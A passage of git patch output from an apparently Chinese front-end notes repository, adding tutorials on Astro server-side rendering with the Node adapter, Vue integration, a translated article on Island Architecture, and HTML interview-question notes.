    `元素,实现的就是“前面兄弟选择器”的效果,即根据后面的兄弟元素选择前面的元素。 + +早前这并没有被浏览器所支持,最近查看MDN发现很多浏览器已经支持了~([:has() - CSS(层叠样式表) | MDN](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:has)) + +![image-20221216192303371](https://cdn.yihuiblog.top/images/202212161923485.png) + diff --git "a/src/\345\205\203\346\241\206\346\236\266/Astro/Astro \344\270\255\345\220\257\347\224\250\346\234\215\345\212\241\345\231\250\347\253\257\346\270\262\346\237\223.md" "b/src/\345\205\203\346\241\206\346\236\266/Astro/Astro \344\270\255\345\220\257\347\224\250\346\234\215\345\212\241\345\231\250\347\253\257\346\270\262\346\237\223.md" new file mode 100644 index 00000000..eb1acd82 --- /dev/null +++ "b/src/\345\205\203\346\241\206\346\236\266/Astro/Astro \344\270\255\345\220\257\347\224\250\346\234\215\345\212\241\345\231\250\347\253\257\346\270\262\346\237\223.md" @@ -0,0 +1,128 @@ +# Astro 中通过 Node.js 启用服务器端渲染 + +在 Astro 中启用服务端渲染(SSR, Server Side Rendering)非常简单,而且启用后可以使用新的特性: + +- 在应用程序中实现登录状态会话。 +- 用 `fetch` 动态调用 API 来渲染数据。 +- 通过**适配器**部署你的网站。 + +## 适配器 + +为了启用 SSR,你需要使用适配器(Adapter)。这是因为 SSR 需要服务器**运行时**环境运行服务端代码。服务端代码可以调用该运行时提供的 API。 + +安装一个适配器可以让 Astro 访问相应的 API,并允许 Astro 输出一个脚本(server脚本),在服务器上运行我们项目。 + +现有以下适配器,未来将会有更多适配器支持: + +- [Cloudflare](https://github.com/withastro/astro/tree/main/packages/integrations/cloudflare) +- [Deno](https://github.com/withastro/astro/tree/main/packages/integrations/deno) +- [Netlify](https://github.com/withastro/astro/tree/main/packages/integrations/netlify) +- [Node.js](https://github.com/withastro/astro/tree/main/packages/integrations/node) +- [Vercel](https://github.com/withastro/astro/tree/main/packages/integrations/vercel) + +我们主要介绍Node.js 适配器 + +## 安装Node.js适配器 + +使用以下 astro add 命令添加适配器,以在 Astro 项目中启用 SSR。这将安装适配器并一步对项目的 `astro.config.mjs` 文件进行适当的更改。 + +```shell +# Using NPM +npx astro add node +# Using Yarn +yarn astro add node +# Using PNPM +pnpm astro add node +``` + +**手动安装:** + +1. 在终端中安装Node.js适配器 + + ```shell + npm install @astrojs/node + ``` + +2. 在 `astro.config.mjs` 项目配置文件中添加两行 + + ```js + // astro.config.mjs + import { defineConfig } from 'astro/config'; + import node from '@astrojs/node'; + + export default defineConfig({ + output: 'server', + adapter: node({ + mode: 'standalone' + }), + }); + ``` + +## 配置项参数 + +`@astrojs/node` 可以通过将选项参数传递给适配器函数来配置: + +### Mode 模式设置 + +控制适配器是构建为中间件`middleware`模式还是独立`standalone`模式。 + +- 中间件模式允许将构建的输出用作另一个 Node.js 服务器的中间件,例如 Express.js 或 Fastify。 + + ```js + import { defineConfig } from 'astro/config'; + import node from '@astrojs/node'; + + export default defineConfig({ + output: 'server', + adapter: node({ + mode: 'middleware' + }), + }); + ``` + +- 独立模式构建的服务器脚本,随着入口模块的运行自动启动。这使得我们可以更轻松地将构建部署到主机,而无需任何其他代码。 + +## 启动 + +根据两种不同的模式,有着不同的启动和使用方法 + +### 中间件模式 + +服务器入口点默认构建为 `./dist/server/entry.mjs`。该模块导出一个处理函数,可以与任何支持 Node 请求和响应对象的框架一起使用,比如Express: + +```js +import express from 'express'; +import { handler as ssrHandler } from './dist/server/entry.mjs'; + +const app = express(); +app.use(express.static('dist/client/')) // 静态资源文件 +app.use(ssrHandler); + +app.listen(8080); +``` + +**注意:** 中间件模式不提供文件服务,需要配置 HTTP 框架,如上代码所示。默认情况下,客户端输出在` ./dist/client/` + +### 独立模式 + +独立模式启动很简单,只要执行构建的入口文件`./dist/server/entry.mjs` + +```shell +node ./dist/server/entry.mjs +``` + +对于独立模式,服务端除了处理页面和 API 路由之外还具有文件服务。 + +#### 自定义主机和端口 + +```shell +HOST=0.0.0.0 PORT=3000 node ./dist/server/entry.mjs +``` + + + +> **参考:** +> +> [astro/packages/integrations/node at main · withastro/astro](https://github.com/withastro/astro/tree/main/packages/integrations/node) +> +> [服务端渲染 🚀 Astro 文档](https://docs.astro.build/zh-cn/guides/server-side-rendering/) diff --git "a/src/\345\205\203\346\241\206\346\236\266/Astro/Vue\351\233\206\346\210\220.md" "b/src/\345\205\203\346\241\206\346\236\266/Astro/Vue\351\233\206\346\210\220.md" new file mode 100644 index 00000000..7d30b280 --- /dev/null +++ "b/src/\345\205\203\346\241\206\346\236\266/Astro/Vue\351\233\206\346\210\220.md" @@ -0,0 +1,220 @@ +# Astro 集成 Vue 框架教程 + +Astro的集成能力支持我们使用Vue3编写的组件,并且支持SSR(server-side rendering)和CSH(client-side hydration) + +> **Astro 集成简介:** +> +> 使用 **Astro 集成**只需几行代码就能为你的项目添加新的功能和行为。你可以自己编写一个自定义的集成,或者从 [npm](https://www.npmjs.com/search?q=keywords%3Aastro-component&ranking=popularity) 获取流行集成。 +> +> - 解锁 React、Vue、Svelte、Solid 和其他流行的 UI 框架。 +> - 只需几行代码就能整合 Tailwind 和 Partytown 等工具。 +> - 为你的项目添加新功能,如自动生成网站地图。 +> - 编写自定义代码,与构建过程、开发服务器等挂钩。 +> +> 目前只默认支持官方 Astro 集成(发布在 npm 的 `@astrojs/` 范围包),以保护用户不被破坏。 +> +> [使用集成 🚀 Astro 文档](https://docs.astro.build/zh-cn/guides/integrations-guide/) + +## 安装 + +有两种方法可以将集成添加到项目中。让我们先介绍最方便的选项! + +### `astro add` 指令 + +Astro 包括一个用于添加第一方集成的 CLI 工具:`astro add`。该命令将: + +1. (可选)安装所有必要的依赖项和对等依赖项 +2. (也是可选的)更新项目的 `astro.config.* `文件以应用此集成 + +要安装 @astrojs/vue,请在项目目录运行以下命令并按照提示操作: + +```shell +# Using NPM +npx astro add vue +# Using Yarn +yarn astro add vue +# Using PNPM +pnpm astro add vue +``` + +### 手动安装依赖 + +1. 安装`@astrojs/vue`集成 + + ```shell + npm install @astrojs/vue + ``` + + 大多数包管理器也会安装相关的对等依赖项。尽管如此,如果你在启动 Astro 时看到 “Cannot find package ‘vue’”(或类似的)警告,则你需要再次手动安装 Vue: + + ```shell + npm install vue + ``` + +2. 修改`astro.config.*`以应用集成 + + ```js + import vue from '@astrojs/vue'; + + export default { + // ... + integrations: [vue()], + } + ``` + +## 开始使用 + +Astro 使用的是 jsx like的语法,所以如果你是React选手可能会比较熟悉,我这边演示一下Vue使用方法,详细内容可见[框架组件 🚀 Astro 文档](https://docs.astro.build/zh-cn/core-concepts/framework-components/#using-framework-components) + +在 Astro 页面、布局和组件中就像 Astro 组件一样使用你的 JavaScript 框架组件。所有组件都可放在 `/src/components` 目录中,或者你也可以放在任何你喜欢的地方。 + +要使用框架组件,你需要在 Astro 组件脚本中使用相对路径导入它们。然后在其他组件、HTML 元素和类 JSX 表达式中使用它们。 + +比如在Layout组件中嵌套 + +```vue +// packages\app\src\layouts\Layout.astro +--- +import Navbar from './components/Navbar.vue'; + +export interface Props { + title: string; +} + +const { title } = Astro.props; +--- + + + + + + + + + {title} + + // 这里! + + + + +``` + +### 激活组件 + +框架组件可以使用 `client:*` 指令实现激活。它是个用来定义你的组件应该如何被**渲染**和激活的属性。 + +[客户端指令](https://docs.astro.build/zh-cn/reference/directives-reference/#客户端指令)描述了你的组件是否应该在构建时被渲染,以及你的组件的 JavaScript 何时应该被浏览器加载. + +大多数指令会在构建时在服务器上渲染组件。组件 JS 将根据特定的指令被分发到客户端。当组件的 JS 导入完成后,组件将进行激活。 + +```vue +--- +// 示例:浏览器中的激活框架组件。 +import InteractiveButton from '../components/InteractiveButton.jsx'; +import InteractiveCounter from '../components/InteractiveCounter.jsx'; +--- + + + + + +``` + +**可用激活指令** + +几个适用于 UI 框架组件的激活指令:`client:load`、`client:idle`、`client:visible`、`client:media={QUERY}` 和 `client:only={FRAMEWORK}`。 + +> 这即使是在SSR模式下也是必要的 + +### 关于Typescript + +Astro 内置了对 TypeScript的支持。你可以在 Astro 项目中导入 `.ts` 和 `.tsx` 文件,甚至可以直接在 Astro 组件中编写 TypeScript 代码。同样的,这对框架组件同样适用,比如Vue中: + +```vue + +``` + +直接就可以开始使用TS啦~ + +## Options + +此集成由 `@vitejs/plugin-vue` 提供支持。如果要自定义 Vue 编译器,可以为集成提供选项。更多详细信息,请参阅`@vitejs/plugin-vue` 文档 [@vitejs/plugin-vue - npm](https://www.npmjs.com/package/@vitejs/plugin-vue)。 + +```js +import vue from '@astrojs/vue'; + +export default { + // ... + integrations: [vue({ + template: { + compilerOptions: { + // treat any tag that starts with ion- as custom elements + isCustomElement: tag => tag.startsWith('ion-') + } + } + // ... + })], +} +``` + +## 应用入口 appEntrypoint + +我们可以扩展 Vue 应用程序实例,将 appEntrypoint 选项设置为相对于根目录的导入说明符(例如,appEntrypoint:“/src/pages/_app”)。 + +```js +import { defineConfig } from 'astro/config'; +import vue from '@astrojs/vue'; + +export default defineConfig({ + integrations: [ + vue({ appEntrypoint: '/src/pages/_app' }) + ], +}); +``` + +该文件的默认导出应该是一个在渲染之前接受 Vue App 实例的函数,允许使用自定义 Vue 插件、`app.use` 和其他针对高级用例的自定义。 + +```ts +import type { App } from 'vue'; +import i18nPlugin from 'my-vue-i18n-plugin'; + +export default (app: App) => { + app.use(i18nPlugin); +} +``` + +## 开启 jsx + +设置 Vue JSX 为 true + +```js +import { defineConfig } from 'astro/config'; +import vue from '@astrojs/vue'; + +export default defineConfig({ + integrations: [ + vue({ jsx: true }) + ], +}); +``` + +此时需要自定义 Vue JSX 编译器的话,请传递Options对象而不是布尔值。有关详细信息,请参阅`@vitejs/plugin-vue-jsx` [@vitejs/plugin-vue-jsx - npm](https://www.npmjs.com/package/@vitejs/plugin-vue-jsx)文档。 + +```js +import { defineConfig } from 'astro/config'; +import vue from '@astrojs/vue'; + +export default defineConfig({ + integrations: [ + vue({ + jsx: { + // treat any tag that starts with ion- as custom elements + isCustomElement: tag => tag.startsWith('ion-') + } + }) + ], +}); +``` \ No newline at end of file diff --git "a/src/\345\205\203\346\241\206\346\236\266/Astro/\346\235\245\344\272\206\350\247\243\344\270\200\344\270\213 Island Architecture \345\255\244\345\262\233\346\236\266\346\236\204.md" "b/src/\345\205\203\346\241\206\346\236\266/Astro/\346\235\245\344\272\206\350\247\243\344\270\200\344\270\213 Island Architecture \345\255\244\345\262\233\346\236\266\346\236\204.md" new file mode 100644 index 00000000..437b1095 --- /dev/null +++ "b/src/\345\205\203\346\241\206\346\236\266/Astro/\346\235\245\344\272\206\350\247\243\344\270\200\344\270\213 Island Architecture \345\255\244\345\262\233\346\236\266\346\236\204.md" @@ -0,0 +1,105 @@ +# 来了解一下 Island Architecture 孤岛架构 + +> 原文标题:Island Architecture +> +> 原文:[Island Architecture | Maina Wycliffe Blog](https://mainawycliffe.dev/blog/island-architecture/) +> +> 作者:[Maina Wycliffe](https://github.com/mainawycliffe) + +建立一个网站有不同的方法,其中之一便是多页应用程序(MPA),它大约在十年前就过时了,现在又重新流行起来。MPA已经被Angular和React以及其他现代框架所普及的单页应用(SPA)方法所取代。 + +由于应用软件迭代趋势的运作方式,方法/工具很容易过时。这并不是因为它的效率低,而是因为开发人员不再使用它们来支持其他东西。这就是多页应用(MPA)所发生的事情,开发人员开始采用流行的Web框架,如Angular、React、Vue等。这导致了SPA使用的上升,因为框架变得越来越流行。 + +由于SPA的工作方式,导致我们发送到浏览器的 Javascript 数量增加了。也就是说,如果没有 React 来管理状态和渲染,你就不能有一个 React Web 应用程序。SPA 使用 Javascript 来呈现要在浏览器中显示的 HTML。在许多情况下,这是可取的,例如,在 Facebook 或 YouTube 等网络应用程序中,管理状态至关重要。但在其他情况下,这没有意义,例如博客、个人作品集等。 + +## SSR Server-Side Rendering 服务端渲染 + +当使用 Angular 或 React 等SPA框架时,服务器做的很少,所有的渲染都是在客户端完成的,也就是所谓的客户端渲染。要查看内容,你首先需要下载框架的运行态(JS需要支撑你的web应用程序),还需要一个渲染内容的环境,也就是浏览器。 + +这有一些缺点,值得注意的是它在屏幕上显示一些东西的速度很慢,这对低端设备和较慢的网络状况和搜索引擎优化的影响更糟——机器人和爬虫通常无法渲染这些页面,也不能通过解析内容来获取显示结果。 + +我们有两个标准的解决方案来解决上述问题:服务器端渲染(SSR)和构建时渲染(SSG)。SSG 类似于 SSR,但在构建时,不需要在服务器上对每个请求进行渲染。SSG 通常用于内容不那么动态的网站。这两种解决方案的问题在于,它们不能解决 SPA 的问题,而是推迟它。 + +如果你想要拥有任何形式的交互性,比如打开和关闭网页应用上的导航栏,你就需要从SSG或SSR中为渲染的应用润色。这其实是引导你正在使用的框架的过程,从服务器传输状态,以便框架可以接管。这通常发生在绘制第一个内容之后(从服务器呈现服务器端呈现的 HTML 之后),但在 Web 应用中的交互性之前。 + +这意味着必须下载和解析框架所需的JS,并且用户必须等待所有这些事情发生后才能与您的Web应用程序进行交互。这意味着即使在我们不需要交互性的页面上,即“关于我们”页面、条款等等,仍然需要执行所有这些下载和解析操作,这有点没有必要。 + +## 岛屿 Islands + +这就是孤岛架构(Islands Architecture)的用武之地了。想象一下:你可以使用纯 HTML 和 CSS 为所有静态内容创建 Web 应用程序,然后添加动态内容或交互区域(孤岛),这些区域可以使用框架来添加交互性,并且这些区域可以使用任何框架,运行态框架只有在使用到它的页面上才会被下载,而不是在网站的初始加载中。 + +Astro([我的网站](https://mainawycliffe.dev/)是用Astro构建的)、Marko和最近的Qwik等Web框架都在实现这种架构方法。以Astro为例,Astro组件使用JSX的某些变体,但没有客户端状态,因此没有运行态。 + +## Astro 框架 + +Astro使用JS选择加入的概念,这意味着在默认情况下,不会生成Javascript,除非你主动告诉Astro需要包含这些Javascript。如下所示: + +```html + +``` + +以上JS代码片段来切换移动菜单的打开和关闭 + +> Astro组件不能被 **hydrate**(注水),因为它们是HTML模板组件,任何 Javascript脚本都需要通过如上方法或通过 React、SolidJS 等框架包含其在内。 + + +第二种选择是引入你使用的框架,例如React, Preact, Lit, slvelte, Vue等,来创建在你的web应用中添加交互区域(岛)的组件。 + +```jsx +// index.astro file +--- +import ReactComponent from "./ReactComponent" + +--- + + +``` + +你也可以控制必要部位的补水时间。这是通过指示Astro何时进行注水作用来完成的。例如,您可能希望一个岛在装载时或仅当它可见时才加水。有几个指令可以帮助您实现这一点,您可以[在这里](https://docs.astro.build/en/core-concepts/component-hydration/)了解更多。 + +``` +// index.astro file +import ReactComponent from "./ReactComponent" + + +``` + +## Marko 和 Qwik 框架 + +虽然我不是Marko或Qwik(社区新秀)的专家,但如果您有兴趣了解更多,我将在下面链接了其他资源。与Astro相比,Marko和Qwik将岛屿的概念更进一步。 + +Marko是一个MPA框架,它的Island架构更聪明一些,因为它会自动决定加载一个Island所需的JS,尽可能地延迟它,允许更高效的Island。这与Astro目前的方法不同,后者依赖于开发人员告诉Astro何时进行注水。Astro仍处于预发布阶段,也许未来这种情况会有所改变。 + +Marko相对于Astro的另一个关键优势是,Marko可以决定岛上有什么or岛上没有什么。这意味着仅显示静态内容的组件(如页脚、页眉等)不会成为孤岛,而表单和其他具有动态内容的丰富组件将成为可以水化的孤岛。 + +另一方面,Qwik将其带到组件级别,分解了注水的方式,以便仅在需要时进行注水。这是通过积极地将网站的JavaScript分解为多个块,设置全局事件侦听器并将兴趣点直接序列化为HTML来实现的。对于每个不同的用户交互,Qwik 拥有仅加载执行操作所需的代码所需的一切,仅此而已。 + +![Image](https://pbs.twimg.com/media/FQpm6TcVsAIHN8h?format=jpg&name=medium) + +作为回报,这将导致代码块更小,从而能够更快地加载、解析和加载用户需要的内容。这就是所谓的渐进式注水,这超出了本文的讨论范围,希望我能很快就此进行讨论。 + +## 总结 + +本文着眼于岛屿架构,它们存在的原因以及当前应用它们的框架。在接下来的系列文章中,我想更深入地研究上面提到的框架 —— Astro,Marko和Qwik,以及其他框架,如Svelte,Angular和React,以及它们在内部之间的区别。 + +## 参考来源 + +1. [Why Progressive Hydration is Harder than You Think](https://www.builder.io/blog/why-progressive-hydration-is-harder-than-you-think?utm_source=twitter) +1. [From Static to Interactive: Why Resumability is the Best Alternative to Hydration](https://www.builder.io/blog/from-static-to-interactive-why-resumability-is-the-best-alternative-to-hydration) +1. [JavaScript vs. JavaScript. Fight!](https://dev.to/this-is-learning/javascript-vs-javascript-fight-53fa) +1. [Why Efficient Hydration in JavaScript Frameworks is so Challenging](https://dev.to/this-is-learning/why-efficient-hydration-in-javascript-frameworks-is-so-challenging-1ca3) +1. [Resumable JavaScript with Qwik](https://dev.to/this-is-learning/resumable-javascript-with-qwik-2i29) +1. [Conquering JavaScript Hydration Event delegation is the key to not running over the component... Apr 15](https://dev.to/ryansolid/comment/1ni8p) +1. [State of JavaScript 2021: Framework Reflections](https://dev.to/ryansolid/state-of-javascript-2021-framework-reflections-2i77) +1. [A first look at Qwik - the HTML first framework WRITTEN BYMIŠKO HEVERY JULY 2, 2021](https://www.builder.io/blog/introducing-qwik-framework) + +## 推荐扩展阅读(译者) + +1. [Islands 架构原理和实践 - 掘金](https://juejin.cn/post/7155300194773860382) +2. [从 Islands Architecture 看前端有多卷 - 掘金](https://juejin.cn/post/7131767287979180040) From 04b4adda489c714f38bd667b499fb7bd89fad54a Mon Sep 17 00:00:00 2001 From: MoMeak9 <1308994506@qq.com> Date: Tue, 11 Jul 2023 01:32:41 +0800 Subject: [PATCH 06/26] =?UTF-8?q?docs:=20=E2=9C=8F=EF=B8=8F=20html?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...06\347\202\271\346\261\207\346\200\273.md" | 690 ++++++++ ...56\347\232\204\345\214\272\345\210\253.md" | 39 + ...25\351\242\230\346\261\207\346\200\273.md" | 1529 +++++++++++++++++ .../HTML \351\253\230\351\242\221.md" | 213 +++ 4 files changed, 2471 insertions(+) create mode 100644 "src/HTML/HTML\347\237\245\350\257\206\347\202\271\346\261\207\346\200\273.md" create mode 100644 "src/HTML/button\346\240\207\347\255\276\345\222\214div\346\250\241\346\213\237\346\214\211\351\222\256\347\232\204\345\214\272\345\210\253.md" create mode 100644 "src/\345\205\253\350\202\241\346\226\207/CSS \351\235\242\350\257\225\351\242\230\346\261\207\346\200\273.md" create mode 100644 "src/\345\205\253\350\202\241\346\226\207/HTML \351\253\230\351\242\221.md" diff --git "a/src/HTML/HTML\347\237\245\350\257\206\347\202\271\346\261\207\346\200\273.md" "b/src/HTML/HTML\347\237\245\350\257\206\347\202\271\346\261\207\346\200\273.md" new file mode 100644 index 00000000..75cc3b43 --- /dev/null +++ "b/src/HTML/HTML\347\237\245\350\257\206\347\202\271\346\261\207\346\200\273.md" @@ -0,0 +1,690 @@ +--- +date: 2022-06-25 +icon: page +category: +- HTML +- 面试题 +- 前端 +--- + +# HTML知识点汇总 + +> 参照: +> [「2021」高频前端面试题汇总之HTML篇](https://juejin.cn/post/6905294475539513352) 补充 + +### 1. src和href的区别 :star::star: + +src和href都是**用来引用外部的资源**,它们的区别如下:t + +- **src:** **表示对资源的使用**,它指向的内容会嵌入到当前标签所在的位置。src会将其指向的资源下载并应⽤到⽂档内,如请求js脚本。当浏览器解析到该元素时,**会暂停其他资源的下载和处理,直到将该资源加载、编译、执⾏完毕,所以⼀般js脚本会放在页面底部。(优先权高)** +- **href:** **表示超文本引用**,它指向一些网络资源,**建立和当前元素或本文档的链接关系**。当浏览器识别到它他指向的⽂件时,**就会并⾏下载资源,不会停⽌对当前⽂档的处理**。 常用在a、link等标签上。 + +### 2. 对HTML语义化的理解 :star::star: + +**语义化是指根据内容的结构化(内容语义化),选择合适的标签(代码语义化)**。 + +通俗来讲就是用正确的标签做正确的事情。 + +语义化的优点如下: + +- **对机器友好**,带有语义的文字表现力丰富,更适合搜索引擎的爬虫爬取有效信息,有利于SEO。除此之外,语义类还支持读屏软件,根据文章可以自动生成目录; +- **对开发者友好**,使用语义类标签增强了可读性,结构更加清晰,开发者能清晰的看出网页的结构,便于团队的开发与维护。 + +常见的语义化标签: + +```html +
    头部 + + 导航栏 + +
    区块(有语义化的div) + +
    主要区域 + +
    主要内容 + + 侧边栏 + +
    底部 +``` + +### 3. DOCTYPE(⽂档类型) 的作用 :star: + +DOCTYPE是HTML5中一种标准通用标记语言的文档类型声明,它的目的是**告诉浏览器(解析器)应该以什么样(html或xhtml)的文档类型来解析文档**,不同的渲染模式会影响浏览器对 CSS 代码甚⾄ JavaScript 脚本的解析。它必须声明在HTML⽂档的第⼀⾏。 + +浏览器渲染页面的两种模式(可通过document.compatMode获取,比如,语雀官网的文档类型是**CSS1Compat**): + +- **CSS1Compat:标准模式(Strick mode)**,默认模式,浏览器使用W3C的标准解析渲染页面。在标准模式中,浏览器以其支持的最高标准呈现页面。 +- **BackCompat:怪异模式(混杂模式)(Quick mode)**,浏览器使用自己的怪异模式解析渲染页面。在怪异模式中,页面以一种比较宽松的向后兼容的方式显示。 + +### 4. script标签中defer和async的区别:star::star: + +如果没有defer或async属性,浏览器会立即加载并执行相应的脚本。它不会等待后续加载的文档元素,读取到就会开始加载和执行,这样就阻塞了后续文档的加载。 + +下图可以直观的看出三者之间的区别: + + +![请输入图片描述](https://cdn.yihuiblog.top/images/202206251630542.jpeg) + +js脚本网络加载时间,红色代表js脚本执行时间,绿色代表html解析。 + +**defer 和 async属性都是去异步加载外部的JS脚本文件,它们都不会阻塞页面的解析**,其区别如下: + +- **执行顺序:** 多个带async属性的标签,不能保证加载的顺序;多个带defer属性的标签,按照加载顺序执行; +- **脚本是否并行执行:async属性,表示后续文档的加载和执行与js脚本的加载和执行是并行进行的**,即异步执行;defer属性,加载后续文档的过程和js脚本的加载(此时仅加载不执行)是**并行**进行的(异步),js脚本需要等到文档所有元素解析完成之后才执行,并在DOMContentLoaded事件触发执行之前。 + +> type = module ?具有defer的特性 + +### 5. 常⽤的meta标签有哪些:star: + +> charset 编码类型 +> +> keywords 关键词 +> +> description 页面描述 +> +> refresh +> +> robot +> +> viewport + +`meta` 标签由 `name` 和 `content` 属性定义,**用来描述网页文档的属性**,比如网页的作者,网页描述,关键词等,除了HTTP标准固定了一些`name`作为大家使用的共识,开发者还可以自定义name。 + +常用的meta标签: + +**(1)`charset`,用来描述HTML文档的编码类型:** + +```html + +``` + +**(2) `keywords`,页面关键词:** + +```html + +``` + +**(3)`description`,页面描述:** + +```html + +``` + +**(4)`refresh`,页面重定向和刷新:** + +```html + +``` + +**(5)`viewport`,适配移动端,可以控制视口的大小和比例:** + +```html + +``` + +其中,`content` 参数有以下几种: + +- `width viewport` :宽度(数值/device-width) +- `height viewport` :高度(数值/device-height) +- `initial-scale` :初始缩放比例 +- `maximum-scale` :**最大缩放比例** +- `minimum-scale` :**最小缩放比例** +- `user-scalable` :**是否允许用户缩放**(yes/no) + +**(6)搜索引擎索引方式:** + +```html + +``` + +其中,`content` 参数有以下几种: + +- `all`:文件将被检索,且页面上的链接可以被查询; +- `none`:文件将不被检索,且页面上的链接不可以被查询; +- `index`:文件将被检索; +- `follow`:页面上的链接可以被查询; +- `noindex`:文件将不被检索; +- `nofollow`:页面上的链接不可以被查询。 + +### 6. HTML5有哪些更新:star::star: + +> - **语义化标签** +> +> - **音频媒体标签** +> - 表单 +> - 进度条 +> - **Web存储** +> - **DOM操作** + +#### 1. 语义化标签 + +- header:定义文档的页眉(头部); +- nav:定义导航链接的部分; +- footer:定义文档或节的页脚(底部); +- article:定义文章内容; +- section:定义文档中的节(section、区段,段落); +- aside:定义其所处内容之外的内容(侧边栏); + +#### 2. 媒体标签 + +(1) audio:音频 + +```html + +``` + +属性: + +- controls 控制面板 +- autoplay 自动播放 +- loop=‘true’ 循环播放 + +(2)video视频 + +```html + +``` + +属性: + +- poster:指定视频还没有完全下载完毕,或者用户还没有点击播放前显示的封面。默认显示当前视频文件的第一针画面,当然通过poster也可以自己指定。 +- controls:控制面板 +- width +- height + +(3)source标签 因为浏览器对视频格式支持程度不一样,为了能够**兼容**不同的浏览器,**可以通过source来指定视频源**。 + +```html + +``` + +#### 3. 表单 + +**表单类型:** + +- email :能够验证当前输入的邮箱地址是否合法 +- url : 验证URL +- number : 只能输入数字,其他输入不了,而且自带上下增大减小箭头,max属性可以设置为最大值,min可以设置为最小值,value为默认值。 +- search : 输入框后面会给提供一个小叉,可以删除输入的内容,更加人性化。 +- range : 可以提供给一个范围,其中可以设置max和min以及value,其中value属性可以设置为默认值 +- color : 提供了一个颜色拾取器 +- time : 时分秒 +- data : 日期选择年月日 +- datatime : 时间和日期(目前只有Safari支持) +- datatime-local :日期时间控件 +- week :周控件 +- month:月控件 + +**表单属性:** + +- placeholder :提示信息 +- autofocus :自动获取焦点 +- autocomplete=“on” 或者 autocomplete=“off” 使用这个属性需要有两个前提: + - 表单必须提交过 + - 必须有name属性。 +- required:要求输入框不能为空,必须有值才能够提交。 +- pattern=" " 里面写入想要的正则模式,例如手机号patte="^(+86)?\d{10}$" +- multiple:可以选择多个文件或者多个邮箱 +- form=" form表单的ID" + +**表单事件:** + +- oninput 每当input里的输入框内容发生变化都会触发此事件。 +- oninvalid 当验证不通过时触发此事件。 + +#### 4. 进度条、度量器 + +- progress标签:用来表示任务的进度(IE、Safari不支持),max用来表示任务的进度,value表示已完成多少 +- meter属性:用来显示剩余容量或剩余库存(IE、Safari不支持) + - high/low:规定被视作高/低的范围 + - max/min:规定最大/小值 + - value:规定当前度量值 + +设置规则:min < low < high < max + +#### 5.DOM查询操作 :star: + +- document.querySelector() +- document.querySelectorAll() + +它们选择的对象可以是标签,可以是类(需要加点),可以是ID(需要加#) + +#### 6. Web存储 :star: + +HTML5 提供了两种在客户端存储数据的新方法: + +- localStorage - 没有时间限制的数据存储 +- sessionStorage - 针对一个 session 的数据存储 + +#### 7. 其他 + +- **拖放**:拖放是一种常见的特性,即抓取对象以后拖到另一个位置。设置元素可拖放: + +```html + +``` + +- **画布**(canvas ): canvas 元素使用 JavaScript 在网页上绘制图像。画布是一个矩形区域,可以控制其每一像素。canvas 拥有多种绘制路径、矩形、圆形、字符以及添加图像的方法。 + +```html + +``` + +- **SVG**:SVG 指可伸缩矢量图形,用于定义用于网络的基于矢量的图形,使用 XML 格式定义图形,图像在放大或改变尺寸的情况下其图形质量不会有损失,它是万维网联盟的标准 +- **地理定位**:Geolocation(地理定位)用于定位用户的位置。‘ + +**:star::star:总结:** + +(1)新增语义化标签:nav、header、footer、aside、section、article + +(2)音频、视频标签:**audio、video** + +(3)数据存储:**localStorage、sessionStorage** + +(4)**canvas(画布)、Geolocation(地理定位)、websocket(通信协议)** + +(5)input标签新增属性:placeholder、autocomplete、autofocus、required + +(6)history API:go、forward、back、pushState、replaceState + +**移除的元素有:** + +- 纯表现的元素:basefont,big,center,font, s,strike,tt,u; +- 对可用性产生负面影响的元素:frame,frameset,noframes; + +### 7. img的srcset属性的作用?:star: + +响应式页面中经常用到根据屏幕密度设置不同的图片。这时就用到了 img 标签的srcset属性。**srcset属性用于设置不同屏幕密度下,img 会自动加载不同的图片。**用法如下: + +```html + +``` + +使用上面的代码,就能实现在屏幕密度为1x的情况下加载image-128.png, 屏幕密度为2x时加载image-256.png。 + +按照上面的实现,不同的屏幕密度都要设置图片地址,目前的屏幕密度有1x,2x,3x,4x四种,如果每一个图片都设置4张图片,加载就会很慢。所以就有了新的srcset标准。代码如下: + +```html + +``` + +其中srcset指定图片的地址和对应的图片质量。sizes用来设置图片的尺寸零界点。对于 srcset 中的 w 单位,可以理解成图片质量。如果可视区域小于这个质量的值,就可以使用。浏览器会自动选择一个最小的可用图片。 + +sizes语法如下: + +```html +sizes="[media query] [length], [media query] [length] ... " +``` + +sizes就是指默认显示128px, 如果视区宽度大于360px, 则显示340px。 + +### 8. 行内元素有哪些?块级元素有哪些? 空(void)元素有那些?:star::star: + +- 行内元素有:`a b span img input select strong`; +- 块级元素有:`div ul ol li dl dt dd h1 h2 h3 h4 h5 h6 p`; + +空元素,即没有内容的HTML元素(内部不能再装东西了的)。空元素是在开始标签中关闭的,也就是空元素没有闭合标签: + +- 常见的有:`
    `、、``、``、``、``; +- 鲜见的有:``、``、`

    `、``、``、``、``、``、``、``、``。 + +**块级元素:** + +- 总是在新行上开始,就是每个块级元素独占一行,默认从上到下排列 +- 宽度缺少时是它的容器的100%,除非设置一个宽度 +- 高度、行高以及外边距和内边距都是可以设置的 +- 块级元素可以容纳其它行级元素和块级元素 + +**行内元素:** + +- 和其它元素都会在一行显示 +- 高、行高以及外边距和内边距可以设置 +- 宽度就是文字或者图片的宽度,不能改变 +- 行级元素只能容纳文本或者其它行内元素 + +**使用行内元素需要注意的是:** + +- 行内元素设置宽度`width`无效 +- 行内元素设置`height`无效,但是可**以通过`line-height`来设置** +- 设置`margin`只有左右有效,**上下无效** +- 设置`padding`只有左右有效,**上下无效**(垂直方向上属性无效) + +可以通过`display`属性对行内元素和块级元素进行切换(主要看第 `2、3、4`三个值): + +### 9. 说一下 web worker:star: + +在 HTML 页面中,如果在执行脚本时,页面的状态是不可相应的,直到脚本执行完成后,页面才变成可相应。**web worker 是运行在后台的 js,独立于其他脚本,不会影响页面的性能。 并且通过 postMessage 将结果回传到主线程。**这样在进行复杂操作的时候,就不会阻塞主线程了。 + +如何创建 web worker: + +1. 检测浏览器对于 web worker 的支持性 +2. 创建 web worker 文件(js,回传函数等) +3. 创建 web worker 对象 + +### 10. HTML5的离线储存怎么使用,它的工作原理是什么 + +离线存储指的是:在用户没有与因特网连接时,可以正常访问站点或应用,在用户与因特网连接时,更新用户机器上的缓存文件。**(不同于缓存)** + +**原理:HTML5的离线存储是基于一个新建的 `.appcache` 